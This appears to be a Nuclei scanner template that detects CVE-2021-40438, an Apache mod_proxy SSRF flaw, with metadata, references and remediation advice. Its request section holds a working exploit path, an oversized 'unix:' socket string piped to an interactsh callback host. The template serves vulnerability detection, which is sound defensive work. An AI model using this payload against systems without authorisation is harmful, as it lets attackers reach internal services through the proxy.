id: CVE-2021-40438

info:
  name: Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery
  author: pdteam
  severity: critical
  description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
  impact: |
    Attackers can perform SSRF attacks via mod_proxy to access internal resources and forward requests to arbitrary origin servers, potentially exposing internal services and data.
  remediation: Upgrade to Apache version 2.4.49 or later.
  reference:
    - https://firzen.de/building-a-poc-for-cve-2021-40438
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40438
    - https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
    - https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9
    cve-id: CVE-2021-40438
    cwe-id: CWE-918
    epss-score: 0.99999
    epss-percentile: 0.99997
    cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: http_server
    shodan-query:
      - cpe:"cpe:2.3:a:apache:http_server"
      - apache 2.4.49
  tags: cve2021,cve,ssrf,apache,mod-proxy,kev,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}/'

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "X-Interactsh-Version")'
          - "!contains(body, '<h1> Interactsh Server </h1>')"
        condition: and
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